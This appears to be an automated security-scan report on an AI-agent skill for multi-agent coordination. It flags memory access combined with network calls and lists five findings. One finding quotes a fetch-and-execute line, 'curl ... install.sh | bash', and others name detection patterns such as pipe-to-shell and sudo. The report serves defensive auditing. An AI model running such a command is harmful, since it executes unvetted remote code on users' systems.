ClawAudit verdict
multi-agent-collaboration
Accesses agent memory/notes AND makes external network calls
Multi-agent framework coordination skill with memory retrieval, safety gate pipeline, and cost governance; executionSinkDetected is from a safety audit example showing how to detect dangerous commands like curl|bash, not executing them.
Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
What it does
These are capability combinations: each listed behavior occurs in the skill, but ClawAudit detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.
Accesses agent memory/notes AND makes external network calls — may leak personal data
LLM02 · LLM07 · ASI03 · ASI06
Accesses agent memory AND makes external network calls — may leak conversation history
LLM02 · LLM07 · ASI06
Permission integrity
network_out
agent_memory
Findings (5)
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
SKILL.md · code · curl https://example.com/install.sh | bash
Pipe to bash — executes piped content as shell commands
SKILL.md · code · | bash
Dynamic import() — loads module at runtime
dist/systems/claude-coordinator.d.ts · prose · downgraded · import("
References sudo — requests elevated privileges
dist/systems/safety.js · prose · downgraded · sudo
References agent memory files
docs/AI协作操作系统_完整使用说明书.md · code · MEMORY.md
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
network_outagent_memory Thanks — recorded.